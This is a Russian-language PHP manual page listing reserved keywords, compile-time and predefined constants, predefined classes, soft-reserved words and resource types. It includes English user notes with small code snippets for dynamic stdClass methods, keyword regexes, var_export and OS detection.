Ниже приводятся списки зарезервированных идентификаторов в PHP. Никакой идентификатор из этих списков не должен быть использован в качестве идентификатора в любом из ваших скриптов, если явно не указано обратное. Эти списки включают ключевые слова и предопределённые переменные, константы и имена классов. Эти списки не являются ни исчерпывающими, ни полными.

User Contributed Notes

There are no user contributed notes for this page.


Список ключевых слов

У этих слов есть специальное значение в PHP. Некоторые из них представляют собой вещи, которые выглядят как функции, некоторые похожи на константы и так далее, но они ими не являются в действительности. Они - конструкции языка. Следующие слова нельзя использовать в качестве констант, имён классов или имён функций. Однако они разрешены в качестве имён свойств, констант и методов классов, интерфейсов и трейтов, за исключением того, что class не может использоваться как имя константы.

Зарезервированные слова в PHP
__halt_compiler() | abstract | and | array() | as
break | callable | case | catch | class
clone | const | continue | declare | default
die() | do | echo | else | elseif
empty() | enddeclare | endfor | endforeach | endif
endswitch | endwhile | eval() | exit() | extends
final | finally | fn (начиная с PHP 7.4) | for | foreach
function | global | goto | if | implements
include | include_once | instanceof | insteadof | interface
isset() | list() | match (начиная с PHP 8.0) | namespace | new
or | print | private | protected | public
readonly (начиная с PHP 8.1.0) * | require | require_once | return | static
switch | throw | trait | try | unset()
use | var | while | xor | yield
yield from |  |  |  |

* Ключевое слово readonly можно использовать как имя функции.

Константы этапа компиляции
__CLASS__ | __DIR__ | __FILE__ | __FUNCTION__ | __LINE__ | __METHOD__
__NAMESPACE__ | __TRAIT__ |  |  |  |

User Contributed Notes

Chocopie 23-Mar-2024 06:27
From php8, reserved keywords such as `Interface` or `Trait` can be used as part of the namespace.

<?php
namespace App\Entity\Interface;

interface FooInterface
{

}

https://wiki.php.net/rfc/namespaced_names_as_token
Johnny D. 22-May-2020 06:37
const FORBIDDEN_TYPES = [
    'null',

    'bool',
    'false',
    'true',

    'int',
    'float',

    'string',
];
Thomas Hansen 15-Aug-2016 10:08
Please note that reserved words are still not allowed to be used as namespace or as part of it:

<?php
namespace MyNameSpace\List;

class Test
{
}
?>

This will fail with a Parse error:  syntax error, unexpected 'List' (T_LIST), expecting identifier (T_STRING)
martindilling at gmail dot com 15-Apr-2013 10:20
RegEx to find all the keywords:

\b(
(a(bstract|nd|rray|s))|
(c(a(llable|se|tch)|l(ass|one)|on(st|tinue)))|
(d(e(clare|fault)|ie|o))|
(e(cho|lse(if)?|mpty|nd(declare|for(each)?|if|switch|while)|val|x(it|tends)))|
(f(inal|or(each)?|unction))|
(g(lobal|oto))|
(i(f|mplements|n(clude(_once)?|st(anceof|eadof)|terface)|sset))|
(n(amespace|ew))|
(p(r(i(nt|vate)|otected)|ublic))|
(re(quire(_once)?|turn))|
(s(tatic|witch))|
(t(hrow|r(ait|y)))|
(u(nset|se))|
(__halt_compiler|break|list|(x)?or|var|while)
)\b
Chris 04-Oct-2012 04:33
Here they are as arrays:

<?php
$keywords = array('__halt_compiler', 'abstract', 'and', 'array', 'as', 'break', 'callable', 'case', 'catch', 'class', 'clone', 'const', 'continue', 'declare', 'default', 'die', 'do', 'echo', 'else', 'elseif', 'empty', 'enddeclare', 'endfor', 'endforeach', 'endif', 'endswitch', 'endwhile', 'eval', 'exit', 'extends', 'final', 'for', 'foreach', 'function', 'global', 'goto', 'if', 'implements', 'include', 'include_once', 'instanceof', 'insteadof', 'interface', 'isset', 'list', 'namespace', 'new', 'or', 'print', 'private', 'protected', 'public', 'require', 'require_once', 'return', 'static', 'switch', 'throw', 'trait', 'try', 'unset', 'use', 'var', 'while', 'xor');

$predefined_constants = array('__CLASS__', '__DIR__', '__FILE__', '__FUNCTION__', '__LINE__', '__METHOD__', '__NAMESPACE__', '__TRAIT__');
?>

Along with get_defined_functions() and get_defined_constants(), this can be useful for checking eval() statements.


Предопределённые классы

В этом разделе перечисляются стандартные предопределённые классы. Разнообразные модули определяют другие классы, которые описаны в соответствующей справочной информации.

Стандартные определённые классы

Эти классы определены вместе со стандартным набором функций, идущим со сборкой PHP.

Directory
Создаётся функцией dir().
stdClass
Пустой класс общего назначения, созданный в результате преобразования в объект или различных стандартных функций.
__PHP_Incomplete_Class
Возможно, создаётся функцией unserialize().
Exception
ErrorException
php_user_filter
Closure
Предопределённый окончательный класс Closure, используется для внутренней реализации анонимных функций.
Generator
Предопределённый окончательный класс Generator, используется для представления генераторов.
ArithmeticError
AssertionError
DivisionByZeroError
Error
Throwable
ParseError
TypeError

Специальные классы

Следующие идентификаторы не могут использоваться в качестве имени класса, так как у них есть специальное назначение.

self
Текущий класс.
static
Текущий класс во время выполнения.
parent
Родительский класс.

User Contributed Notes

xzero at elite7hackers dot net 08-Sep-2017 08:37
There comes improved version of amazing snippet posted by (spark at limao dot com dot br)  which allows dynamic methods generations and works as versatile extension of StdClass:

This one is faster, optimised for closures, and will work only with closures. Compatible: >= PHP 5.6
<?php

class Dynamic extends \stdClass
{
    public function __call($key, $params)
    {
        if ( ! isset($this->{$key})) {
            throw new Exception("Call to undefined method " . __CLASS__ . "::" . $key . "()");
        }

        return $this->{$key}->__invoke(... $params);
    }
}

?>

Usage examples:

<?php
$dynamic                = new Dynamic();
$dynamic->anotherMethod = function () {
    echo "Hey there";
};
$dynamic->randomInt     = function ($min, $max) {
    return mt_rand($min, $max); // random_int($min, $max); // <-- PHP7+
};

var_dump(
    $dynamic->randomInt(1, 11),
    $dynamic->anotherMethod()
);
?>

This will accept arrays, strings and Closures but is a bit slower due to call_user_func_array
<?php

class Dynamic extends \stdClass
{
    public function __call($key, $params)
    {
        if ( ! isset($this->{$key})) {
            throw new Exception("Call to undefined method " . __CLASS__ . "::" . $key . "()");
        }

        return call_user_func_array($this->{$key}, $params);
    }
}

?>

Usage examples:
<?php
$dynamic                = new Dynamic();
$dynamic->myMethod      = "thatFunction";
$dynamic->hisMethod     = array($dynamic, "randomInt");
$dynamic->newMethod     = array(SomeClass, "staticMethod");
$dynamic->anotherMethod = function () {
    echo "Hey there";
};
$dynamic->randomInt     = function ($min, $max) {
    return mt_rand($min, $max); // random_int($min, $max); // <-- PHP7+
};

var_dump(
    $dynamic->randomInt(1, 11),
    $dynamic->anotherMethod(),
    $dynamic->hisMethod()
);

?>
xzero at elite7hackers dot net 08-Sep-2017 08:32
There comes improved version of amazing snippet posted by which allows dynamic methods generations and works as versatile extension of StdClass:

This one is faster, optimised for closures, and will work only with closures. Compatible: >= PHP 5.6
<?php

class Dynamic extends \stdClass
{
    public function __call($key, $params)
    {
        if ( ! isset($this->{$key})) {
            throw new Exception("Call to undefined method " . __CLASS__ . "::" . $key . "()");
        }

        return $this->{$key}->__invoke(... $params);
    }
}

?>

Usage examples:

<?php
$dynamic                = new Dynamic();
$dynamic->anotherMethod = function () {
    echo "Hey there";
};
$dynamic->randomInt     = function ($min, $max) {
    return mt_rand($min, $max); // random_int($min, $max); // <-- PHP7+
};

var_dump(
    $dynamic->randomInt(1, 11),
    $dynamic->anotherMethod()
);
?>

This will accept arrays, strings and Closures but is a bit slower due to call_user_func_array
<?php

class Dynamic extends \stdClass
{
    public function __call($key, $params)
    {
        if ( ! isset($this->{$key})) {
            throw new Exception("Call to undefined method " . __CLASS__ . "::" . $key . "()");
        }

        return call_user_func_array($this->{$key}, $params);
    }
}

?>

Usage examples:
<?php
$dynamic                = new Dynamic();
$dynamic->myMethod      = "thatFunction";
$dynamic->hisMethod     = array($dynamic, "randomInt");
$dynamic->newMethod     = array(SomeClass, "staticMethod");
$dynamic->anotherMethod = function () {
    echo "Hey there";
};
$dynamic->randomInt     = function ($min, $max) {
    return mt_rand($min, $max); // random_int($min, $max); // <-- PHP7+
};

var_dump(
    $dynamic->randomInt(1, 11),
    $dynamic->anotherMethod(),
    $dynamic->hisMethod()
);

?>
Ashley Dambra 19-Feb-2014 06:43
Here a simple class that allow to set anonymous function. It's an optimised class of stdClass.

<?php
class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                if ($argument instanceOf Closure) {
                    $this->{$property} = $argument;
                } else {
                    $this->{$property} = $argument;
                }
            }
        }
    }

    public function __call($method, $arguments) {
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}

$person = new stdObject(array(
    "name" => "nick",
    "age" => 23,
    "friends" => array("frank", "sally", "aaron"),
    "sayHi" => function() {
        return "Hello there";
    }
));

$person->sayHi2 = function() {
    return "Hello there 2";
};

$person->test = function() {
    return "test";
};

var_dump($person->name, $person->test(), $person->sayHi2());
?>
wyattstorch42 at outlook dot com 24-Dec-2013 01:15
If you call var_export() on an instance of stdClass, it attempts to export it using ::__set_state(), which, for some reason, is not implemented in stdClass.

However, casting an associative array to an object usually produces the same effect (at least, it does in my case). So I wrote an improved_var_export() function to convert instances of stdClass to (object) array () calls. If you choose to export objects of any other class, I'd advise you to implement ::__set_state().

<?php
/**
 * An implementation of var_export() that is compatible with instances
 * of stdClass.
 * @param mixed $variable The variable you want to export
 * @param bool $return If used and set to true, improved_var_export()
 *     will return the variable representation instead of outputting it.
 * @return mixed|null Returns the variable representation when the
 *     return parameter is used and evaluates to TRUE. Otherwise, this
 *     function will return NULL.
 */
function improved_var_export ($variable, $return = false) {
    if ($variable instanceof stdClass) {
        $result = '(object) '.improved_var_export(get_object_vars($variable), true);
    } else if (is_array($variable)) {
        $array = array ();
        foreach ($variable as $key => $value) {
            $array[] = var_export($key, true).' => '.improved_var_export($value, true);
        }
        $result = 'array ('.implode(', ', $array).')';
    } else {
        $result = var_export($variable, true);
    }

    if (!$return) {
        print $result;
        return null;
    } else {
        return $result;
    }
}

// Example usage:
$obj = new stdClass;
$obj->test = 'abc';
$obj->other = 6.2;
$obj->arr = array (1, 2, 3);

improved_var_export((object) array (
    'prop1' => true,
    'prop2' => $obj,
    'assocArray' => array (
        'apple' => 'good',
        'orange' => 'great'
    )
));

/* Output:
(object) array ('prop1' => true, 'prop2' => (object) array ('test' => 'abc', 'other' => 6.2, 'arr' => array (0 => 1, 1 => 2, 2 => 3)), 'assocArray' => array ('apple' => 'good', 'orange' => 'great'))
*/
?>

Note: This function spits out a single line of code, which is useful to save in a cache file to include/eval. It isn't formatted for readability. If you want to print a readable version for debugging purposes, then I would suggest print_r() or var_dump().
spark at limao dot com dot br 15-Aug-2011 02:21
if you want a Dynamic class you can extend from, add atributes AND methods on the fly you can use this:
<?php
    class Dynamic extends stdClass{
        public function __call($key,$params){
            if(!isset($this->{$key})) throw new Exception("Call to undefined method ".get_class($this)."::".$key."()");
            $subject = $this->{$key};
            call_user_func_array($subject,$params);
        }
    }
?>

this will accept both arrays, strings and Closures:
<?php
    $dynamic->myMethod = "thatFunction";
    $dynamic->hisMethod = array($instance,"aMethod");
    $dynamic->newMethod = array(SomeClass,"staticMethod");
    $dynamic->anotherMethod = function(){
        echo "Hey there";
    };
?>

then call them away =D
Typer85 at gmail dot com 17-Feb-2007 08:58
In response to the note below mine,

This list is not incomplete. Read the Manual folks, its listed there plain and simple:

"This section lists standard predefined classes. Miscellaneous extensions define other classes which are described in their reference."

Depending on what extensions you have, they might define their own classes. This list is just the standard classes as defined by PHP with no regards to extensions.
unknown 23-Jul-2002 10:29
It's handy to have a array of the reserved classes.....
var_dump (get_declared_classes ());


Предопределённые константы

Предопределённые константы ядра

Эти константы определяет ядро PHP. Сюда входят PHP, движок Zend и SAPI-модули.

PHP_VERSION (string)
Текущая версия PHP в виде строки в формате «major.minor.release[extra]».
PHP_MAJOR_VERSION (int)
Текущая «основная» (major) версия PHP в виде целого числа (например, int(5) для версии «5.2.7-extra»).
PHP_MINOR_VERSION (int)
Текущая «промежуточная» (minor) версия PHP в виде целого числа (например, int(2) для версии «5.2.7-extra»).
PHP_RELEASE_VERSION (int)
Текущая «релиз»-версия (release) PHP в виде целого числа (например, int(7) для версии «5.2.7-extra»).
PHP_VERSION_ID (int)
Текущая версия PHP в виде целого числа, её удобно использовать при сравнениях версий (например, int(50207) для версии «5.2.7-extra»).
PHP_EXTRA_VERSION (string)
Текущая «экстра»-версия PHP в виде строки (например, «-extra» для версии «5.2.7-extra»). Обычно используется в различных дистрибутивах для индикации версий пакетов.
ZEND_THREAD_SAFE (bool)
Указывает, потокобезопасна ли текущая сборка PHP.
ZEND_DEBUG_BUILD (bool)
Указывает, собран ли PHP для отладки.
PHP_ZTS (int)
Указывает, потокобезопасна ли текущая сборка PHP.
PHP_DEBUG (int)
Указывает, собран ли PHP для отладки.
PHP_MAXPATHLEN (int)
Максимальная длина файловых имён (включая путь), поддерживаемая данной сборкой PHP.
PHP_OS (string)
Операционная система, под которую собирался PHP.
PHP_OS_FAMILY (string)
Семейство операционных систем, для которых собран PHP. Любая из «Windows», «BSD», «Darwin», «Solaris», «Linux» или «unknown». Константа доступна с PHP 7.2.0.
PHP_SAPI (string)
API сервера (Server API) данной сборки PHP. Смотрите также php_sapi_name().
PHP_EOL (string)
Корректный символ конца строки (End Of Line) для платформы.
PHP_INT_MAX (int)
Максимальное целое число, поддерживаемое сборкой PHP. Обычно это int(2147483647) в 32-битных системах и int(9223372036854775807) в 64-битных.
PHP_INT_MIN (int)
Минимальное целое число, поддерживаемое сборкой PHP. Обычно это int(-2147483648) в 32-битных системах и int(-9223372036854775808) в 64-битных. Обычно PHP_INT_MIN === ~PHP_INT_MAX.
PHP_INT_SIZE (int)
Размер целого числа в байтах в сборке PHP.
PHP_FLOAT_DIG (int)
Количество десятичных цифр, которые могут быть округлены в числе с плавающей точкой (float) и обратно без потери точности. Константа доступна с PHP 7.2.0.
PHP_FLOAT_EPSILON (float)
Наименьшее представимое положительное число x, такое, что x + 1.0 != 1.0. Константа доступна с PHP 7.2.0.
PHP_FLOAT_MIN (float)
Наименьшее представимое положительное число с плавающей точкой float. Если нужно наименьшее представимое отрицательное число с плавающей точкой float, указывают - PHP_FLOAT_MAX. Константа доступна с PHP 7.2.0.
PHP_FLOAT_MAX (float)
Максимальное представимое число с плавающей точкой float. Константа доступна с PHP 7.2.0.
DEFAULT_INCLUDE_PATH (string)
PEAR_INSTALL_DIR (string)
PEAR_EXTENSION_DIR (string)
PHP_EXTENSION_DIR (string)
Каталог по умолчанию, в котором нужно искать динамически загружаемые модули (если он не переопределён директивой extension_dir). По умолчанию — PHP_PREFIX (или PHP_PREFIX . "\\ext" в Windows).
PHP_PREFIX (string)
Значение --prefix было установлено при настройке. В Windows это значение --with-prefix было установлено при настройке.
PHP_BINDIR (string)
Значение --bindir было установлено при настройке. В Windows это значение --with-prefix было установлено при настройке.
PHP_BINARY (string)
Указывает путь к исполняемым файлам PHP во время выполнения скрипта.
PHP_MANDIR (string)
Указывает, куда были установлены страницы руководства (manpages).
PHP_LIBDIR (string)
PHP_DATADIR (string)
PHP_SYSCONFDIR (string)
PHP_LOCALSTATEDIR (string)
PHP_CONFIG_FILE_PATH (string)
PHP_CONFIG_FILE_SCAN_DIR (string)
PHP_SHLIB_SUFFIX (string)
Суффикс разделяемых (динамических) модулей платформы-сборки, например, «so» (большинство Unix-систем) или «dll» (Windows).
PHP_FD_SETSIZE (int)
Максимальное количество файловых дескрипторов для системных вызовов. Константа доступна с PHP 7.1.0.
E_ERROR (int)
Константа сообщения об ошибке
E_WARNING (int)
Константа сообщения об ошибке
E_PARSE (int)
Константа сообщения об ошибке
E_NOTICE (int)
Константа сообщения об ошибке
E_CORE_ERROR (int)
Константа сообщения об ошибке
E_CORE_WARNING (int)
Константа сообщения об ошибке
E_COMPILE_ERROR (int)
Константа сообщения об ошибке
E_COMPILE_WARNING (int)
Константа сообщения об ошибке
E_USER_ERROR (int)
Константа сообщения об ошибке
E_USER_WARNING (int)
Константа сообщения об ошибке
E_USER_NOTICE (int)
Константа сообщения об ошибке
E_RECOVERABLE_ERROR (int)
Константа сообщения об ошибке
E_DEPRECATED (int)
Константа сообщения об ошибке
E_USER_DEPRECATED (int)
Константа сообщения об ошибке
E_ALL (int)
Константа сообщения об ошибке
E_STRICT (int)
Константа сообщения об ошибке
__COMPILER_HALT_OFFSET__ (int)
true (bool)
Смотрите раздел Логический тип.
false (bool)
Смотрите раздел Логический тип.
null (null)
Смотрите Null.
PHP_WINDOWS_EVENT_CTRL_C (int)
Событие Windows CTRL + C. Константа доступна с PHP 7.4.0 (только для Windows).
PHP_WINDOWS_EVENT_CTRL_BREAK (int)
Событие Windows CTRL + BREAK. Константа доступна с PHP 7.4.0 (Только для Windows).
PHP_CLI_PROCESS_TITLE (bool)
Указывает, доступны ли настройка и получение названия процесса. Константа доступна только в SAPI-интерфейсе командной строки CLI.
STDERR (resource)
Уже открытый поток для стандартного вывода ошибок stderr. Константа доступна только в SAPI-интерфейсе командной строки CLI.
STDIN (resource)
Уже открытый поток для стандартного ввода stdin. Константа доступна только в SAPI-интерфейсе командной строки CLI.
STDOUT (resource)
Уже открытый поток для стандартного вывода stdout. Константа доступна только в SAPI-интерфейсе командной строки CLI.

Смотрите также: «Магические константы».

Стандартные предопределённые константы

Все константы модулей, входящих в состав ядра, теперь определены в PHP по умолчанию.

User Contributed Notes

rdcapasso 08-Sep-2013 09:16
Volker's getOS() function needs to have the order of cases changed in the switch statement since "darwin" contains "win", which means that both "windows" and "darwin" will return self::OS_WIN. I've moved the 'dar' case above the 'win' case:

<?php
class System {

    const OS_UNKNOWN = 1;
    const OS_WIN = 2;
    const OS_LINUX = 3;
    const OS_OSX = 4;

    /**
     * @return int
     */
    static public function getOS() {
        switch (true) {
            case stristr(PHP_OS, 'DAR'): return self::OS_OSX;
            case stristr(PHP_OS, 'WIN'): return self::OS_WIN;
            case stristr(PHP_OS, 'LINUX'): return self::OS_LINUX;
            default : return self::OS_UNKNOWN;
        }
    }

}
?>


Список прочих зарезервированных слов

Следующие слова нельзя использовать в именах классов, интерфейсов и трейтов. До PHP 8.0 их также запрещено использовать в именовании пространств имён.

Зарезервированные слова
int | float | bool | string
true | false | null | void (с PHP 7.1)
iterable (с PHP 7.1) | object (с PHP 7.2) | mixed (с PHP 8.0) | never (с PHP 8.1)

Следующий список содержит мягко зарезервированные слова. Они всё ещё могут использоваться в качестве имён классов, интерфейсов и трейтов, но использовать их крайне не рекомендуется, поскольку они могут стать полноценно зарезервированными в будущем.

Мягко зарезервированные слова
enum resource numeric

User Contributed Notes

There are no user contributed notes for this page.


Список типов ресурсов

Здесь представлен список функций, которые могут создавать, использовать или уничтожать ресурсы PHP. Для определения того, является ли переменная ресурсом можно использовать функцию is_resource(), а функция get_resource_type() поможет получить тип данного ресурса.

Типы ресурсов
Название ресурса | Создаётся функцией | Используется функцией | Уничтожается функцией | Определение
AddressInfo | socket_addrinfo_lookup() | socket_addrinfo_bind(), socket_addrinfo_connect(), socket_addrinfo_explain(), | Отсутствует | AddressInfo (модуль сокетов)
bzip2 | bzopen() | bzerrno(), bzerror(), bzerrstr(), bzflush(), bzread(), bzwrite() | bzclose() | Файл Bzip2
cubrid connection | cubrid_connect() cubrid_connect_with_url() | cubrid_col_get() cubrid_col_size() cubrid_commit() cubrid_drop() cubrid_execute() cubrid_get_autocommit() cubrid_get_charset() cubrid_get_class_name() cubrid_get_db_parameter() cubrid_get_server_info() cubrid_get() cubrid_insert_id() cubrid_is_instance() cubrid_lob_export() cubrid_lob_get() cubrid_lob_send() cubrid_lock_read() cubrid_lock_write() cubrid_prepare() cubrid_put() cubrid_rollback() cubrid_schema() cubrid_seq_drop() cubrid_seq_insert() cubrid_seq_put() cubrid_set_add() cubrid_set_autocommit() cubrid_set_db_parameter() cubrid_set_drop() cubrid_affected_rows() cubrid_client_encoding() cubrid_errno() cubrid_error() cubrid_list_dbs() cubrid_ping() cubrid_query() cubrid_real_escape_string() | cubrid_close() cubrid_disconnect() | Соединение с базой данных CUBRID
persistent cubrid connection | cubrid_pconnect() cubrid_pconnect_with_url() | cubrid_col_get() cubrid_col_size() cubrid_commit() cubrid_drop() cubrid_execute() cubrid_get_autocommit() cubrid_get_charset() cubrid_get_class_name() cubrid_get_db_parameter() cubrid_get_server_info() cubrid_get() cubrid_insert_id() cubrid_is_instance() cubrid_lob_export() cubrid_lob_get() cubrid_lob_send() cubrid_lock_read() cubrid_lock_write() cubrid_prepare() cubrid_put() cubrid_rollback() cubrid_schema() cubrid_seq_drop() cubrid_seq_insert() cubrid_seq_put() cubrid_set_add() cubrid_set_autocommit() cubrid_set_db_parameter() cubrid_set_drop() cubrid_affected_rows() cubrid_client_encoding() cubrid_errno() cubrid_error() cubrid_list_dbs() cubrid_ping() cubrid_query() cubrid_real_escape_string() cubrid_lob2_new() | Постоянное соединение с базой данных CUBRID
cubrid request | cubrid_prepare() cubrid_execute() cubrid_query() cubrid_unbuffered_query() | cubrid_bind() cubrid_column_names() cubrid_column_types() cubrid_current_oid() cubrid_execute() cubrid_free_result() cubrid_get_query_timeout() cubrid_move_cursor() cubrid_next_result() cubrid_num_cols() cubrid_num_rows() cubrid_set_query_timeout() cubrid_data_seek() cubrid_fetch_array() cubrid_fetch_assoc() cubrid_fetch_field() cubrid_fetch_lengths() cubrid_fetch_object() cubrid_fetch_row() cubrid_field_flags() cubrid_field_len() cubrid_field_name() cubrid_field_seek() cubrid_field_table() cubrid_field_type() cubrid_num_fields() cubrid_result() cubrid_lob2_bind() | cubrid_close_prepare() cubrid_close_request() | Запрос CUBRID
cubrid lob | cubrid_lob_get() | cubrid_lob_export() cubrid_lob_send() cubrid_lob_size() | cubrid_lob_close() | Отсутствует
cubrid lob2 | cubrid_lob2_new() cubrid_fetch() cubrid_fetch_row() cubrid_fetch_array() cubrid_fetch_assoc() cubrid_fetch_object() | cubrid_lob2_export() cubrid_lob2_import() cubrid_lob2_read() cubrid_lob2_write() cubrid_lob2_tell() cubrid_lob2_tell64() cubrid_lob2_seek() cubrid_lob2_seek64() cubrid_lob2_size() cubrid_lob2_size64() | cubrid_lob2_close() | Отсутствует
curl | curl_copy_handle(), curl_init() | curl_copy_handle(), curl_errno(), curl_error(), curl_exec(), curl_getinfo(), curl_setopt() | curl_close() | Обработчик cURL
curl_multi | curl_multi_init() | curl_multi_errno(), curl_multi_exec(), curl_multi_info_read(), curl_multi_remove_handle(), curl_multi_select(), curl_multi_setopt() | curl_multi_close() | cURL multi handle
curl_share | curl_share_init() | curl_share_errno(), curl_share_setopt() | curl_share_close() | cURL share handle
dba | dba_open() | dba_delete(), dba_exists(), dba_fetch(), dba_firstkey(), dba_insert(), dba_nextkey(), dba_optimize(), dba_replace(), dba_sync() | dba_close() | Соединение с базой данных DBA
dba persistent | dba_popen() | dba_delete(), dba_exists(), dba_fetch(), dba_firstkey(), dba_insert(), dba_nextkey(), dba_optimize(), dba_replace(), dba_sync() | Отсутствует | Постоянное соединение с базой данных DBA
dbase | dbase_open() | dbase_pack(), dbase_add_record(), dbase_replace_record(), dbase_delete_record(), dbase_get_record(), dbase_get_record_with_names(), dbase_numfields(), dbase_numrecords() | dbase_close() | Соединение с базой данных Dbase
enchant_broker | enchant_broker_init() | enchant_broker_describe(), enchant_broker_dict_exists(), enchant_broker_get_dict_path(), enchant_broker_get_error(), enchant_broker_list_dicts(), enchant_broker_set_dict_path(), enchant_broker_set_ordering() | enchant_broker_free() | Провайдер Enchant (до PHP 8.0.0)
enchant_dict | enchant_broker_request_dict() enchant_broker_request_pwl_dict() | enchant_dict_add_to_personal(), enchant_dict_add_to_session(), enchant_dict_check(), enchant_dict_describe(), enchant_dict_get_error(), enchant_dict_is_in_session(), enchant_dict_store_replacement(), enchant_dict_suggest() | enchant_broker_free_dict() | Словарь Enchant (до PHP 8.0.0)
fdf | fdf_open() | fdf_create(), fdf_save(), fdf_get_value(), fdf_set_value(), fdf_next_field_name(), fdf_set_ap(), fdf_set_status(), fdf_get_status(), fdf_set_file(), fdf_get_file(), fdf_set_flags(), fdf_set_opt(), fdf_set_submit_form_action(), fdf_set_javascript_action() | fdf_close() | Файл FDF
ftp | ftp_connect(), ftp_ssl_connect() | ftp_login(), ftp_pwd(), ftp_cdup(), ftp_chdir(), ftp_mkdir(), ftp_rmdir(), ftp_nlist(), ftp_rawlist(), ftp_systype(), ftp_pasv(), ftp_get(), ftp_fget(), ftp_put(), ftp_fput(), ftp_size(), ftp_mdtm(), ftp_rename(), ftp_delete(), ftp_site(), ftp_alloc(), ftp_chmod(), ftp_exec(), ftp_get_option(), ftp_nb_continue(), ftp_nb_fget(), ftp_nb_fput(), ftp_nb_get(), ftp_nb_put(), ftp_raw(), ftp_set_option() | ftp_close() | Соединение FTP (до PHP 8.1.0)
gd | imagecreate(), imagecreatefromgd(), imagecreatefromgd2(), imagecreatefromgd2part(), imagecreatefromgif(), imagecreatefromjpeg(), imagecreatefrompng(), imagecreatefromwbmp(), imagecreatefromstring(), imagecreatefromxbm(), imagecreatefromxpm(), imagecreatetruecolor(), imagerotate() | imagearc(), imagechar(), imagecharup(), imagecolorallocate(), imagecolorat(), imagecolorclosest(), imagecolorexact(), imagecolorresolve(), imagegammacorrect(), imagegammacorrect(), imagecolorset(), imagecolorsforindex(), imagecolorstotal(), imagecolortransparent(), imagecopy(), imagecopyresized(), imagedashedline(), imagefill(), imagefilledpolygon(), imagefilledrectangle(), imagefilltoborder(), imagegif(), imagepng(), imagejpeg(), imagewbmp(), imageinterlace(), imageline(), imagepolygon(), imagerectangle(), imagerotate(), imagesetpixel(), imagestring(), imagestringup(), imagesx(), imagesy(), imagettftext(), imagefilledarc(), imageellipse(), imagefilledellipse(), imagecolorclosestalpha(), imagecolorexactalpha(), imagecolorresolvealpha(), imagecopymerge(), imagecopymergegray(), imagecopyresampled(), imagetruecolortopalette(), imagesetbrush(), imagesettile(), imagesetthickness(), image2wbmp(), imagealphablending(), imageantialias(), imagecolorallocatealpha(), imagecolorclosesthwb(), imagecolordeallocate(), imagecolormatch(), imagefilter(), imagefttext(), imagegd(), imagegd2(), imageistruecolor(), imagelayereffect(), imagepalettecopy(), imagesavealpha(), imagesetstyle(), imagexbm() | imagedestroy() | Изображение GD (до PHP 8.0.0)
gd font | imageloadfont() | imagechar(), imagecharup(), imagefontheight() | Отсутствует | Шрифт для библиотеки GD (до PHP 8.1.0)
imap | imap_open() | imap_append(), imap_body(), imap_check(), imap_createmailbox(), imap_delete(), imap_deletemailbox(), imap_expunge(), imap_fetchbody(), imap_fetchstructure(), imap_headerinfo(), imap_header(), imap_headers(), imap_listmailbox(), imap_getmailboxes(), imap_get_quota(), imap_status(), imap_listsubscribed(), imap_set_quota(), imap_set_quota(), imap_getsubscribed(), imap_mail_copy(), imap_mail_move(), imap_num_msg(), imap_num_recent(), imap_ping(), imap_renamemailbox(), imap_reopen(), imap_subscribe(), imap_undelete(), imap_unsubscribe(), imap_scanmailbox(), imap_mailboxmsginfo(), imap_fetchheader(), imap_uid(), imap_msgno(), imap_search(), imap_fetch_overview() | imap_close() | Соединение с сервером IMAP и POP3 (до PHP 8.1.0)
interbase blob | ibase_blob_create(), ibase_blob_import(), ibase_blob_open() | ibase_blob_add(), ibase_blob_cancel(), ibase_blob_echo(), ibase_blob_get(), ibase_blob_info() | ibase_blob_close()
interbase link | ibase_connect() | ibase_query(), ibase_prepare(), ibase_trans() | ibase_close() | Соединение с базой данных Interbase
interbase link persistent | ibase_pconnect() | ibase_query(), ibase_prepare(), ibase_trans() | Отсутствует | Постоянное соединение с базой данных Interbase
interbase query | ibase_prepare() | ibase_execute() | ibase_free_query() | Запрос Interbase
interbase result | ibase_query() | ibase_fetch_row(), ibase_fetch_object(), ibase_field_info(), ibase_num_fields() | ibase_free_result() | Результат запроса Interbase
interbase transaction | ibase_trans() | ibase_commit() | ibase_rollback() | Транзакция Interbase
ldap link | ldap_connect(), ldap_search() | ldap_count_entries(), ldap_first_attribute(), ldap_first_entry(), ldap_get_attributes(), ldap_get_dn(), ldap_get_entries(), ldap_get_values(), ldap_get_values_len(), ldap_next_attribute(), ldap_next_entry() | ldap_close() | Соединение ldap (до PHP 8.1.0)
ldap result | ldap_read() | ldap_add(), ldap_compare(), ldap_bind(), ldap_count_entries(), ldap_delete(), ldap_errno(), ldap_error(), ldap_first_attribute(), ldap_first_entry(), ldap_get_attributes(), ldap_get_dn(), ldap_get_entries(), ldap_get_values(), ldap_get_values_len(), ldap_get_option(), ldap_list(), ldap_modify(), ldap_mod_add(), ldap_mod_replace(), ldap_next_attribute(), ldap_next_entry(), ldap_mod_del(), ldap_set_option(), ldap_unbind() | ldap_free_result() | Результат поиска ldap (до PHP 8.1.0)
ldap result entry | Результат ldap (до PHP 8.1.0)
mailparse_mail_structure | mailparse_msg_create() mailparse_msg_parse_file() | mailparse_msg_extract_part_file() mailparse_msg_extract_part() mailparse_msg_extract_whole_part_file() mailparse_msg_get_part_data() mailparse_msg_get_part() mailparse_msg_get_structure() mailparse_msg_parse() | mailparse_msg_free()
mysql link | mysql_connect() | mysql_affected_rows(), mysql_create_db(), mysql_data_seek(), mysql_db_name(), mysql_db_query(), mysql_drop_db(), mysql_errno(), mysql_error(), mysql_insert_id(), mysql_list_dbs(), mysql_list_fields(), mysql_list_tables(), mysql_query(), mysql_result(), mysql_select_db(), mysql_tablename(), mysql_get_host_info(), mysql_get_proto_info(), mysql_get_server_info() | mysql_close() | Соединение с базой данных MySQL
mysql link persistent | mysql_pconnect() | mysql_affected_rows(), mysql_create_db(), mysql_data_seek(), mysql_db_name(), mysql_db_query(), mysql_drop_db(), mysql_errno(), mysql_error(), mysql_insert_id(), mysql_list_dbs(), mysql_list_fields(), mysql_list_tables(), mysql_query(), mysql_result(), mysql_select_db(), mysql_tablename(), mysql_get_host_info(), mysql_get_proto_info(), mysql_get_server_info() | Отсутствует | Постоянное соединение с базой данных MySQL
